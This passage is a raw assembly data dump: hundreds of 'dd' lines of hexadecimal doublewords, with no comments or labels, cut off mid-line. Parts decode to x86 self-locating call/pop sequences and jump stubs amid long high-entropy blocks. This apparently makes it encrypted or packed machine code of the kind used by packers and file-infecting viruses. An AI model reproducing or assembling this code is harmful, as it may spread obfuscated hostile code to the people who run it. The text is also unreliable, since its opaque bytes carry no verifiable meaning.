0B1C6CAE7h dd 0B544C4B6h, 0D7C6CBF0h, 0EAE950C3h, 0D7C7B2B7h, 302FB6A4h dd 0B1C6CBF0h, 0B444C407h, 0BC6CBC2h, 0F31D0C64h, 9984E37h dd 0B1C7CD68h, 0B1ACCB3Ch, 0B1C5234Bh, 0ECE6CB0Fh, 0DD4F9644h dd 0F547CFE7h, 0B1DBCFC5h, 0E483CBF0h, 2912CFBBh, 5753369Fh dd 58EB03A2h, 0B1C6CB0Ah, 0A980402Eh, 0B12A22E0h, 33C9CBE1h dd 0B1C6CBF5h, 0BCC3AAC3h, 0B174227Dh, 0B1ACCB1Eh, 0B1C52359h dd 0EFE6CB87h, 0C54F9500h, 0F547CFC5h, 0B1D3CFD4h, 0E780CB78h dd 0D79468FFh, 0E83E1195h, 5991CB65h, 0B1C6CB84h, 0EE0594E3h dd 0B5E2B768h, 0B5E28F71h, 0B1C6CB65h, 0D7059C7Bh, 0F061BE86h dd 30362B37h, 0B1CB23D3h, 4DE0CBC3h, 2CB1F472h, 0E6A5324Bh dd 0E31B7F94h, 920619BDh, 0EA9D8A62h, 0BABF4869h, 0F442C478h dd 0DBC6CBC3h, 0B22E9AE1h, 91C6CBF0h, 389F0821h, 30C2EF70h dd 0ADC2EF5Ah, 0F0C6CB0Fh, 749C08D6h, 0D9484C23h, 585F0399h dd 0B1C6CBE0h, 2117BC2Bh, 36978D4Eh, 69E8BBB7h, 61B8ADCAh dd 9984E40h, 0B1C7CDD3h, 6B4DCBE1h, 0E3C6A1B8h, 0B1C6C890h dd 729CEB3Ch, 95924244h, 95824A0Bh, 0B1C6D283h, 729489C3h dd 3DBD6231h, 30A08D8Dh, 31C6F48Bh, 0E97FC8F6h, 3CEA7617h dd 0A178BE8Ah, 377B4681h, 8AC0DB7Fh, 81C1BF19h, 0F60F1AFFh dd 0B1AC3E93h, 0B1C5236Fh, 0EAE6CB1Eh, 0ED4F90CCh, 0F547CFA3h dd 0B1DDCFE7h, 0E285CBE1h, 0AAA16C33h, 1A79F241h, 6A47ADC5h dd 0B1ACAA5Ch, 0B1C5235Dh, 0EBE6CB87h, 0E54F9100h, 0F547CFC5h dd 0B1D1CFD4h, 0E384CB78h, 0F538DFFFh, 0B24DC4DCh, 31C6CB0Fh dd 0C450C48h, 0B7CDC0DAh, 3942C4E0h, 0DBC6CBF0h, 0B22E9E78h dd 91C6CB3Ch, 389B0843h, 30C2EF63h, 0AAC2EFC3h, 0F4C6CBC3h dd 16D908B4h, 20230A5Bh, 0C45EC35h, 0B7CDC50Dh, 0E943C41Eh dd 0DBC6CB0Fh, 0B22E9D87h, 91C6CBC3h, 389808BFh, 30C2EF84h dd 0A8C2EF3Ch, 0F7C6CB3Ch, 69DF0848h, 90AB5449h, 2D144AE1h dd 0A47B48ECh, 0B1C0C0C6h, 0B1964FFFh, 0B1ACCB78h, 0B1C52369h dd 0ECE6CB1Eh, 0DD4F96CCh, 0F547CFA3h, 0B1DACFE7h, 0E483CBE1h dd 0C370E533h, 0B9710704h, 583F0EA8h, 0B1C6CBA8h, 5996CB65h dd 0B1C6CB84h, 0E90593E3h, 0B5E28F68h, 0B5E28F71h, 0B1C6CB60h dd 0CC059B7Ch, 156340Eh, 80B2098Eh, 0C45C04Ah, 0B7CDC0DAh dd 0E843C4E0h, 30C6CBF0h, 0D0877FABh, 0B1AC9604h, 0B1C5234Bh dd 0ECE6CB0Fh, 0DD4F9644h, 0F547CFE7h, 0B1D1CFC5h, 0E483CBF0h dd 0A51560BBh, 72114028h, 5994CB74h, 0B1C6CB0Ch, 0EB0591A7h dd 0B5E29F4Ah, 0B5E28F60h, 0B1C6CBEDh, 3505993Ah, 11D9974h dd 71C063B5h, 0B1F6228Dh, 5A47CB87h, 9E7ACABBh, 0F5B470BCh dd 0DB09E10Eh, 0B22E9D78h, 91C6CB3Ch, 38980840h, 30C2EF7Bh dd 0A9C2EFC3h, 0F7C6CBC3h, 0D0EA08B7h, 0D7AA2C3Bh, 0C4B18F3h dd 0B7D673A8h, 0F844693h, 0AC7ECD1Fh, 82BDF1DBh, 0BAD48E46h dd 7009E0E7h, 7617E97Fh, 0BE8A3CEAh, 4681A178h, 0DB7F377Bh dd 0BF198AC0h, 1AFF81C1h, 0E983F60Fh, 83A4F305h, 10B85EBDh dd 0D740006h, 4DD78D8Dh, 1B8060Bh, 0FF000000h, 6A40E1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0A3FCD6C3h, 68C0Fh, 0EA810000h, 44856454h, 8354D380h dd 6A2DE8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 5BCD92C3h, 18820FD4h dd 0F000000h, 1284h, 0DE900h, 0B5180000h, 33143080h, 4309C6ADh dd 8B1DD51Bh, 39EF80C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 0FCB8C08Bh, 89000003h, 0B129985h dd 819D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 0FCB85350h, 89000003h, 0B129985h, 229D8D06h, 0FF060DB0h dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 6B03C350h, 0F56E5F4h, 0E381D8B7h dd 70959029h, 8D8DC08Bh, 610C050h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0FC35040h, 0C0976803h, 3396D32Dh dd 0B2489B5h, 4D8D8906h, 89060B17h, 0B0FE19Dh, 1985C706h dd 60060B01h, 6A000060h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4A8FC350h, 8F0F3D6Bh dd 8, 2830Fh, 61600000h, 100985C7h, 60Bh, 13E80000h, 6A000000h dd 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 0F38389B4h, 0B58B9C19h dd 60B21C1h, 49B5FF5Fh, 0E9060B1Ah, 7, 419C6932h, 0FF52ADA7h dd 0B0AC595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0FDF8ED4h, 886h, 28D0F00h, 60000000h dd 6880F61h, 89000000h, 0B04ED85h, 0FF006A06h, 0B32DD95h dd 0EBC08B06h, 0E49B8E0Dh, 0C06716CFh, 13F8F7DDh, 24EB4FC5h dd 9 dup(0) dd 0BDE9h, 64B58900h, 8B0610C0h, 0B0B1985h, 39858B06h dd 8D060B09h, 10C0AEB5h, 7E858D06h, 0FF060E4Dh, 0E855C3D0h dd 0 dd 0B4ED815Dh, 830610C0h, 0B0B19BDh, 850F0106h, 2Ch, 0C064B5FFh dd 858B0610h, 60B0939h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 610C068h dd 64B5FF56h, 8B0610C0h, 0B093985h, 27363506h, 0D0FF3481h dd 8D0CC483h, 10C068B5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 0B19BD83h, 0F01060Bh, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 610C08Dh, 0DD98589h, 98E9060Bh dd 94000000h, 5000000h, 1000000h, 28000000h, 200000Ah dd 20h dup(0) dd 2B000000h, 0E94E57BBh, 0BB0h, 10C36E68h, 0BD35E906h dd 7B68FFFAh, 0E90610C4h, 0FFFABD2Bh, 10C56B68h, 0BD21E906h dd 0DC68FFFAh, 0E90610C5h, 0FFFABD17h, 10C75568h, 0BD0DE906h dd 0CE68FFFAh, 0E90610C7h, 0FFFABD03h, 10CB0968h, 0BCF9E906h dd 668FFFAh, 0E90610CCh, 0FFFABCEFh, 0AEB58C96h, 0D81B3641h dd 76EDDC2Fh, 0A1B28199h, 0D2013C44h, 9BE17C63h, 494EBFA4h dd 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h, 84DF790Dh, 997FCEC5h dd 72F8D5DEh, 7FF14DCDh, 90BE692Fh, 89C4D1B8h, 30700C6Ah dd 0C622E28Ah, 33391D0Fh, 9F4036BBh, 4F3307BDh, 614EE7E7h dd 6766323Ah, 0EAE730DDh, 1A042266h, 2C355FF3h, 2FDEh dd 0D6F2600h, 0D140E476h, 5EBD9F05h, 39355DBFh, 6E25D2E1h dd 0F004F5C1h, 391D71C5h, 0B1ED9D55h, 78383A60h, 9D76976Dh dd 0EC532C35h, 0BD000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh dd 896A67B0h, 9418DE65h, 8A9302C3h, 618FC3B7h, 0BCAE9BECh dd 0E6CEBA32h, 0B82C3C6Bh, 3C6BE6CCh, 0BA807F43h, 0E93AEB8Ch dd 6C3068DCh, 94E105D7h, 344260F8h, 0CC4602AAh, 0F1C93A60h dd 0E52BDF46h, 30DE18BFh, 2A74EFD3h, 8B23C952h, 446DD5E1h dd 68FA605Ah, 72BB80C4h, 15330730h, 6F56AA5Bh, 0B075EFDh dd 38004DDh, 9FE502E5h, 61D5E035h, 403EC92Dh, 738C6B80h dd 9803097h, 66B00000h, 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h dd 1A1E8F54h, 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h dd 9E457085h, 1377FF6Dh, 94C584DEh, 1EBDBF25h, 0B21EDFC6h dd 3C4831BCh, 1266E701h, 370BADF8h, 3D11FFE2h, 81BCC926h dd 9AA8E45Bh, 8CDC38ECh, 0CB74FEDDh, 0FE0D9471h, 271B7FC3h dd 6F966E09h, 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h dd 0AA2EBFE5h, 0A81C237Bh, 0A940BA54h, 802C35C6h, 0D5h dd 0ED5DE6Ch, 941DE2E6h, 391D65C3h, 2174A133h, 1DB4D010h dd 897BC394h, 184D5BBFh, 29C73B84h, 99EA1B21h, 718B82ACh dd 0A16AFA4Eh, 77C39435h, 0C3D27E86h, 997492F6h, 26A2B18Ch dd 7997A2F7h, 0C2B68394h, 0A349D2AAh, 3195E411h, 0CF0D4EBh dd 70290FC8h, 683C1183h, 312336BEh, 3E04BD9Fh, 18237925h dd 405540D2h, 0A34D8175h, 6C8ABAD3h, 1DCF3344h, 4E95A8F0h dd 0EB645BA1h, 8C6AFAB5h, 7377C83Ah, 0A5000008h, 0CF97A51h dd 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh dd 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584D90Eh dd 0BD4A3281h, 5401801Eh, 1B6CA682h, 311CCA2Eh, 0D906D4EBh dd 49804D14h, 0F56E985Bh, 21320F18h, 0F8D5DED3h, 0F050A514h dd 3A25A9A4h, 3EC0D9D4h, 75694DE8h, 57ECB0EEh, 7B3A6185h dd 0CF33BD84h, 0AAA7F01Dh, 0F603F27Ch, 629618DBh, 0A83A7B7Fh dd 7EF2961Eh, 0D753A7Bh, 0BBC0DBE3h, 52BCD7B8h, 7ED8ACC0h dd 6BAF3A7Bh, 809BE1BDh, 0CADDC85Ah, 19370BFFh, 7066784Dh dd 92F5CD44h, 0B87CF554h, 618517C2h, 0A38F5E65h, 0DA2990EAh dd 277549E7h, 73A6CE1Ch, 0F4DD846Fh, 0C5303A8Eh, 0CB0A0EB6h dd 12F0347h, 9644DFBDh, 89E2761Eh, 6BF1C9E7h, 875C69BAh dd 27201D66h, 2C509E83h, 833D9270h, 0B5000007h, 1C896A61h dd 0CA3B3809h, 0B45182BFh, 638C576Eh, 863D2619h, 5964BC5Fh dd 29146D9Ah, 0FCCBDDCAh, 407D8667h, 6A826E93h, 0C584D81Eh dd 6FBA2291h, 77E4760Dh, 5052F48Ah, 0BD346C7Eh, 3C31A453h dd 58CC9E48h, 0BD84B373h, 0DA64F6CCh, 0D56E3965h, 0CF03F7C2h dd 97167030h, 0B0819479h, 63342A3h, 83BECBB2h, 62371844h dd 8C43C786h, 712h, 1AD9F002h, 0B4AF9AEDh, 0E271485Bh dd 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h, 5AAA5B98h dd 217F063h, 0DDF2C37h, 84D8ED99h, 2D9362C5h, 0E4760D6Fh dd 845E5B40h, 344CB9BDh, 1A60DF09h, 28586BD0h, 702CE964h dd 9CE914D6h, 97E4B2A1h, 9C980A57h, 0AB9EB984h, 14C63A65h dd 0CE388A7h, 0A7FF5303h, 0E08AA498h, 7BC72C4Ch, 0E73FEE3Ah dd 152871D8h, 44C36DA1h, 0F401EC7Eh, 0F71175D9h, 0C7B2D313h dd 33613A7Bh, 0E6AF5EB2h, 429A2C2Fh, 62000000h, 0E5770C6Fh dd 635AAA5Bh, 1D5931C5h, 29BBC394h, 941DC185h, 91E946C3h dd 0A3A04EA2h, 0D761EB5Fh, 941D2B5Fh, 0A846BCC3h, 941DACDCh dd 0AA3B79C3h, 400CB756h, 79232h, 0C87A0000h, 209h, 0C233BD50h dd 0D83C80BDh, 941D7C08h, 0F1AF3C3h, 160A4E32h, 0C4F88DF8h dd 0D1E036B8h, 77BE6FFDh, 5B998181h, 9EF2967Bh, 3CEAD52Fh dd 0CA0F3AB2h, 3A00BD9Fh, 261B01C5h, 0D1ABECCBh, 8416A04Ah dd 0DEEB6460h, 7997EB89h, 0D5DAC8EDh, 0F145BDF7h, 9258E3B9h dd 2F30DB00h, 2C6EE57Ch, 0ABE3A024h, 0E2082787h, 1DCAAA8Ah dd 971FCD21h, 87AB35F3h, 0EE00E74h, 0A6FAFEE6h, 0EFF71F9h dd 4206CE03h, 0C5FDA4B6h, 0CF231268h, 0B6FD891Dh, 872FDA4h dd 0C2D7C614h, 76836CF7h, 0A7FA8C5Bh, 0C9394221h, 59976h dd 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh, 1C237996h dd 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h, 54A5BE8Bh dd 0DA741094h, 0CFBC584h, 0F8D5DE94h, 66881414h, 5461B21Eh dd 54488C70h, 72C77486h, 0B0525AF4h, 4AE76F99h, 0F6BD9FAEh dd 73C7F207h, 6F66AE1Fh, 8A89A79Bh, 9D11D225h, 3A619FE9h dd 5C20047Eh, 2EDF0478h, 691FE8E5h, 9E865CD1h, 520D3B4h dd 6100000h, 0ACFB14CFh, 5AA9469Dh, 0B13FC67h, 0BAFE2F34h dd 0F2F9589Bh, 253E011Bh, 558EB3C8h, 82516CB8h, 3E251065h dd 0F3971FCDh, 74C584DAh, 1EBD1F85h, 8AE879B4h, 0F3971F81h dd 74C394EDh, 11FC2A0Eh, 0F223C904h, 2F4795ACh, 0C394ED5Bh dd 0D038D62Ch, 60B41C69h, 0A79BBAC0h, 1D6C9943h, 0CA64582Ch dd 0F9E9846h, 0ED359DE6h, 0CA2E62D6h, 266E9F29h, 96675B2Fh dd 0A799B78Eh, 3240FB86h, 2AA3h, 0D6F4D00h, 7940E476h dd 0F6BD9F2Dh, 5828388Ch, 8D3A60EDh, 0CB629617h, 0E62C35E0h dd 49h, 44E87Ah, 873A60E1h, 6FAF95B3h, 40E4760Dh, 0BD9EE1D7h dd 73C08635h, 44273D04h, 8755ADAAh, 21320F16h, 60C3CCBDh dd 0F93A4F3Ah, 60C31175h, 0DDAC963Ah, 370BFFCAh, 90E700D3h dd 3B4ABBA1h, 9768E00Eh, 436h, 760D6F31h, 46D40E4h, 98E2BD9Fh dd 7B56A352h, 839445CDh, 11BC2B6h, 81AD4A3Eh, 2EB63388h dd 7C4D5C2Dh, 0E5D82188h, 0DDD73D11h, 5C56BED0h, 0B094CB51h dd 1FD53421h, 0C2DAE20Ch, 263BB3B9h, 37446BF5h, 0A2F710C3h dd 0EC192397h, 0E125A994h, 17310C18h, 0FC6EF587h, 76EE5D68h dd 64E8D24Eh, 0A62ABBF9h, 76852F77h, 0BF93F75Bh, 99ED01CBh dd 6E2E4AAEh, 37163014h, 520CD7E2h, 832B314Ah, 5041B6E2h dd 0FAA3176Bh, 0C2F109A9h, 52261A7Eh, 0E33B91EBh, 0A514F8DCh dd 0B1916550h, 0E5106A7Bh, 259A1EAFh, 0ED8EEE0Eh, 53F3DFA7h dd 81B372A9h, 613B83ADh, 0CD9C10DAh, 25A4C98h, 0B9CA3B38h dd 4B51388Ch, 0A2408074h, 4D6D573Dh, 7CAA8E3Bh, 9721AB3Ah dd 5CC66B1Fh, 6886FC22h, 0E83090E5h, 21053840h, 0DE05795Dh dd 0A3F2FC80h, 8AEE2296h, 0F0F9CC60h, 0BC235C57h, 0E3B14A23h dd 6FEC1A3Fh, 0ADF6A72Bh, 0BB312C90h, 0E75AA504h, 58A28D1Ah dd 3959748Dh, 2082AC80h, 198D1FA5h, 1829F16Dh, 0D2AD98ECh dd 1E7E3EE8h, 6A5FD705h, 0FB6622C7h, 66B35C87h dd 0ED36E76Bh, 0B0043345h, 8EC6A35Ch, 0B7C528C6h, 0C6D68053h dd 0BA07AFBDh, 8B682D26h, 931BA5B7h, 0C3324F7h, 0B5F50278h dd 731CF770h, 8DA5AD5Bh, 0C33AFFDh, 0F77D8828h, 0AF85C165h dd 300A0C33h, 0BF052416h, 843B01E7h, 320E1F8Eh, 82BFC498h dd 48E6DA3Eh, 3AB1h, 0D6F5F00h, 8D77E476h, 1396570Fh, 37412BC5h dd 444501A5h, 2BCAC394h, 0A3DE03EEh, 608EE2F7h, 9F732594h dd 4C300ABDh, 6151E4E4h, 6263313Ah, 363C7FAEh, 0CDAA2Ch dd 0DEB20000h, 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 65896A67h dd 0C39418DEh, 33391461h, 0CB5CBEC2h, 9B5B19A3h, 0F6CABE92h dd 256E9F58h, 3844A428h, 0BBCC3923h, 7C8E608Eh, 0C74B8691h dd 68916583h, 0C5426058h, 643866FDh, 97E00DDFh, 1BEFDA2Fh dd 4B25C327h, 6DEB2223h, 8557AB44h, 1FB1C47Bh, 0FA468313h dd 72C21E6Ah, 20A99130h, 3014F8D1h, 0DBCA5416h, 0FA53FDCCh dd 0C8F50AA6h, 9A9E0FD4h, 7406ACBBh, 45CD8C6Bh, 1E582h dd 0F4C3D700h, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h dd 0DE3D2493h, 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh dd 0D6B8CC60h, 400FC584h, 0FBDADED8h, 0B160CA71h, 22D6CB2Ch dd 71826304h, 0BD799F44h, 869F4750h, 15A947BBh, 0C66EFC87h dd 0BD9F0557h, 0D61EE2D8h, 3A60CAB6h, 6DD1E037h, 0EA5E6BBCh dd 87FB0A0Ch, 5DB73662h, 2C35C7ACh, 0C285h, 9DE61700h dd 0DE9086A0h, 8372F8D5h, 92F65A75h, 5F4E9C74h, 0B1957948h dd 5362B697h, 18BC47EFh, 0F603C394h, 9AEF18DBh, 0BB33BDAFh dd 3C6BE6CFh, 0AA95EF40h, 4400A4B6h, 0CB3C6BE6h, 6BF159F7h dd 3AB64BAh, 3C6BE647h, 709EF2C8h, 21CB502Ch, 0DC2B2897h dd 0FD0B8E91h, 0F5A8353h, 0EFD34260h, 5C522A74h, 0D11B7F46h dd 13E7DE24h, 0D75F113Fh, 446D9ED5h, 0CF3E2C16h, 0BC698AB5h dd 168E5964h, 258C6BF0h, 0E86A2Dh, 0CED80000h, 74836CF7h dd 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h, 7DE6D923h dd 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h, 0CC584D1h dd 0DADEC7BDh, 7A8F78FBh, 0BD6C944Fh, 84084150h, 0F4C3D5h dd 0CF3EE8CCh, 0B05D8FBAh, 0A2E66A67h, 2CBE8C84h, 1D7E0AA2h dd 89F1C394h, 941D0D79h, 8EB882C3h, 845F6ABFh, 0BD889D08h dd 0EA710B93h, 0F207F600h, 5D6E4F1Ch, 0F7EB5D9Ch, 891DCF03h dd 0C394D2FDh, 16DE0872h, 0BD849259h, 7D2C90EAh, 0A737C628h dd 0A750689Dh, 0C55531B5h, 0E0DA3A64h, 6DB6578Ch, 0C644EC50h dd 0DE82221Eh, 0BA99E10Ch, 729B2A8Ch, 0DECF1421h, 2D186DD5h dd 8E9445C9h, 0B98A0B6Ch, 83E7B570h, 786023Fh, 0BBB8959Eh dd 0DAD7394Ah, 116EC2D1h, 0DD09E72Eh, 280C0105h, 38F4034h dd 29000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 83CF7BCFh, 1C8904ECh, 81E38924h, 4C3h, 4EB8300h, 5C241C87h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0E168241Ch dd 8900001Ch, 0B9512434h, 610C248h, 0C8BCB89h, 4C48324h dd 24348B54h, 4C481h, 52530000h, 4E3B5EBAh, 2454014Eh dd 468F5A04h, 86E8108h, 4E4E3B5Eh, 5124348Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 1C8B5C24h, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 0B195E95Ch, 7AB5FFFAh, 0DD303F76h dd 10CD13B8h, 0FFC50306h, 0A8B3E5E0h, 2B874F5Ch, 29955304h dd 0C6396B16h, 0E8FE644Eh, 0F508ED6Fh, 0C8D93969h, 0F18FCB36h dd 3CA51F5Ch, 0BD7D4B4Dh, 767E446Dh, 0E3BC391Fh, 81581C31h dd 85CBC63Bh, 0AE82Dh, 42320000h, 0DEB41713h, 0F2DEEE78h dd 0DE9h, 0D903CE00h, 0ED71A0D7h, 906C25C4h, 605A7E87h dd 5C28161h, 0BB000063h, 0 dd 12830Fh, 8F0F0000h, 0Ch, 7E9h, 0D4CD5500h, 0BB4559A3h dd 0F51334FFh, 73E1815Fh, 81227CD0h, 15C11FF7h, 0C78B6629h dd 5167F781h, 0B966413Bh, 0EF8198EFh, 69680D03h, 1A3C89F8h dd 0F01EB83h, 4B4BCABFh, 870F4Bh, 81000000h, 0FF9D90FBh dd 0BD850FFFh, 0E9FFFFFFh, 0Fh, 24372F1Dh, 0BBB92A21h dd 0DA462D05h, 8D608184h, 10CF348Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 5BEFC63h, 4EAC0232h dd 4D8D8968h, 6A060B17h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0D9F8C350h, 0BD9F56AEh dd 11985C7h, 5FBC060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 4BBE44C3h, 0C72E12DCh dd 0B100985h, 6, 0DD38BE00h, 0B5FF71BFh, 60B2A41h, 11698589h dd 858B060Bh, 60B2ED9h, 0AC595FFh, 8B66060Bh, 0FF006AF1h dd 0B32DD95h, 0EBC08B06h, 41F8B519h, 1FADA26Bh, 903ECE3Dh dd 343101B9h, 0A61EF131h, 0E1C4E928h, 0DE8097Dh, 0A000000h dd 0EE31FBE6h, 447BA155h, 67C34E69h, 9E8h, 9BBBC700h, 41669E13h dd 0EE9AEC9h, 64000000h, 0DC495EBh, 2D5C6603h, 66581237h dd 0E9595E2Bh, 9, 328A9F2Dh, 0A30EAEC1h, 0C6C1815Bh, 89000069h dd 0B1B099Dh, 1A3F6806h, 665B0000h, 8B99D3BFh, 85096011h dd 60B0941h, 4810Fh, 0BE660000h, 81619EC1h, 0FA4C56F2h dd 5C88107h, 814D5A1Bh, 91E992F2h, 5AC48039h, 0FF50F281h dd 0B5897183h, 60B23EDh, 0BD8B1189h, 60B2F55h, 8CEAE981h dd 0C1816405h, 64058CE6h, 1659BD89h, 0EB83060Bh, 11850F01h dd 60000000h, 74E18166h, 16E96103h, 0AB000000h, 946DA38h dd 13418D89h, 8CE9060Bh, 93FFFFFFh, 0B675D182h, 0ABE90Fh dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0A601E800h, 323D94E7h, 0FE71D83h, 1204E954h, 80680000h dd 0E90610D2h, 0FFFAAE53h, 10D38868h, 0AE49E906h, 4C68FFFAh dd 0E90610D4h, 0FFFAAE3Fh, 10D5B968h, 0AE35E906h, 2268FFFAh dd 0E90610D6h, 0FFFAAE2Bh, 10D6C268h, 0AE21E906h, 8B68FFFAh dd 0E90610D7h, 0FFFAAE17h, 10D83468h, 0AE0DE906h, 0F068FFFAh dd 0E90610D8h, 0FFFAAE03h, 10DA3968h, 0ADF9E906h, 3E68FFFAh dd 0E90610DBh, 0FFFAADEFh, 10DC6368h, 0ADE5E906h, 0B168FFFAh dd 0E90610DDh, 0FFFAADDBh, 10DF7B68h, 0ADD1E906h, 9468FFFAh dd 0E90610E0h, 0FFFAADC7h, 0F66D64AEh, 20330E19h, 5E85B4C7h dd 896A69B1h, 3A39041Ch, 63B9549Bh, 1166875Ch, 0CED6372Ch dd 76836CF7h, 0F973985Bh, 84CC1175h, 0B12796C5h, 72F8D5DEh dd 1D384CE0h, 4B8FC394h, 0B3C4B59Dh, 7B015D86h, 6FF27AE0h dd 0C0BD9F19h, 0D9C416FAh, 0E5E105CEh, 6A3A60E6h, 0E1483C10h dd 9644B897h, 60E66A1Eh, 6B85FD3Ah, 60E6EB9Bh, 6B7A3E3Ah dd 35087891h, 20512Ch, 6FBF0000h, 40E4760Dh, 0BD9F05D1h dd 5090645Eh, 3A60CB30h, 0DA2EBFE5h, 2C35C733h, 0B01Eh dd 0D5DEE600h, 5FA514F8h, 0C468FA60h, 0C3941D80h, 6150A607h dd 3357DF0Dh, 0B4C3941Dh, 0A2A8A04Eh, 0F9172A73h, 42360314h dd 0A0B38E9Bh, 941B773Eh, 80BDC6C3h, 0D124D153h, 0B2C746E0h dd 0A1FB3387h, 0D9DC509Ah, 6E4260FFh, 64587781h, 46DDBFFFh dd 829B0A94h, 9FC591BFh, 10446D5Eh, 0CFD5C02Ah, 34E163F0h dd 286CD0E1h, 0CAF50FFEh, 6B461B3Dh, 1DF2508Ch, 0FB2h dd 0E67D545Eh, 10C3FE09h, 4E95A4F7h, 0F97A59A1h, 2AC9F40Ch dd 53A944ABh, 116F76Ch, 0BEC6273Ch, 66B35C87h, 0E903886Bh dd 84CF0145h, 413786C5h, 78FBDADEh, 944F7A8Fh, 4A50BD6Ch dd 0CBBF969Eh, 0EB2F93F7h, 1B613Dh, 0A02448DAh, 27C3941Dh dd 33BB35D3h, 0BD9F0582h, 32397EBh, 3A60CB43h, 79830296h dd 0FA4E7B8Ch, 57F66886h, 722C35C7h, 0CDh, 0BB33BD9Ah dd 0C3941DCFh, 0B10E434Eh, 0E3298E49h, 1DA1D69Bh, 3C091AF3h dd 7F9BE148h, 1F97A122h, 0C394D86Bh, 5D7986FCh, 0D4B89C8Ah dd 9484551Ch, 3393E4C3h, 2165E9E0h, 259A16CDh, 87AD58E7h dd 0C548E650h, 2B3185B0h, 7593AAFAh, 22C85329h, 9FF78F8Ah dd 38ACA0BDh, 3A61D74Ch, 589BFFC3h, 495342CCh, 0D78AFE76h dd 0D31D3A61h, 61D72F5Bh, 665AA03Ah, 93A8F4C8h, 47AC2549h dd 0D921446Ch, 0A79EE213h, 764953BCh, 6A4A89F9h, 0E758AA8Ch dd 0EAAh, 0EE754C56h, 18DBF601h, 0B6AD9CEFh, 0E1724159h dd 12C1FC04h, 5BA1BCA3h, 90EFF64h, 0B6FE2F34h, 5EAB449Fh dd 0E10BF063h, 84CE394Dh, 593F8EC5h, 78FBDADEh, 944F7A8Fh dd 0F8D5DE6Ch, 5B768372h, 9D7593F7h, 75EEDB2Ch, 0CCB08998h dd 263D081Dh, 66D54151h, 0A0F431D0h, 266EDFC5h, 0C9675B2Fh dd 0F109A7F5h, 81754457h, 0A1E5694Dh, 256E9F4Dh, 0F86CFE28h dd 0BD9F45CDh, 0CF077842h, 34EB16BEh, 8557ECB0h, 0F4105461h dd 0DDA199BFh, 0B6A4BFDDh, 0C66D563Eh, 33442941h, 0E38CDDh dd 14080BF9h, 76129AA0h, 0F935C540h, 0A349AD81h, 74812172h dd 0BD91F559h, 13C49A6h, 1076EC6h, 0F255BD8Ah, 0DE6h, 0AA498092h dd 0C41F2A7Dh, 72E1D82Bh, 0ADB68D95h, 0DE053840h, 879D7067h dd 354ABBB8h, 0EA3AEB08h, 92E700D3h, 9D4FBCA7h, 84C97D09h dd 9D03F2C5h, 14F8D5DEh, 5430B4C6h, 0DBC3941Dh, 277549E7h dd 3A6CE1Ch, 29BD9F1Eh, 0F90CA4FCh, 2C0044C8h, 263D0502h dd 768A2478h, 9AFECBDAh, 0FF10AD7Dh, 0CA2E35DFh, 2F998C20h dd 9CC3446Bh, 6A8F7F1Dh, 906F9925h, 0E91426AAh, 1B6C7690h dd 0F0AE9170h, 0E2E2729Ch, 37307D4Bh, 81A8606Dh, 0A8262A46h dd 5Dh, 0F5C0D5C0h, 3D23CD01h, 0E4760D6Fh, 9EE1D740h, 0B2C835BDh dd 2DDB3F83h, 0F406D42Eh, 8FEA0547h, 3DEB5D7Ch, 0F352C4D0h dd 0EF07F17Dh, 4FD91A7Eh, 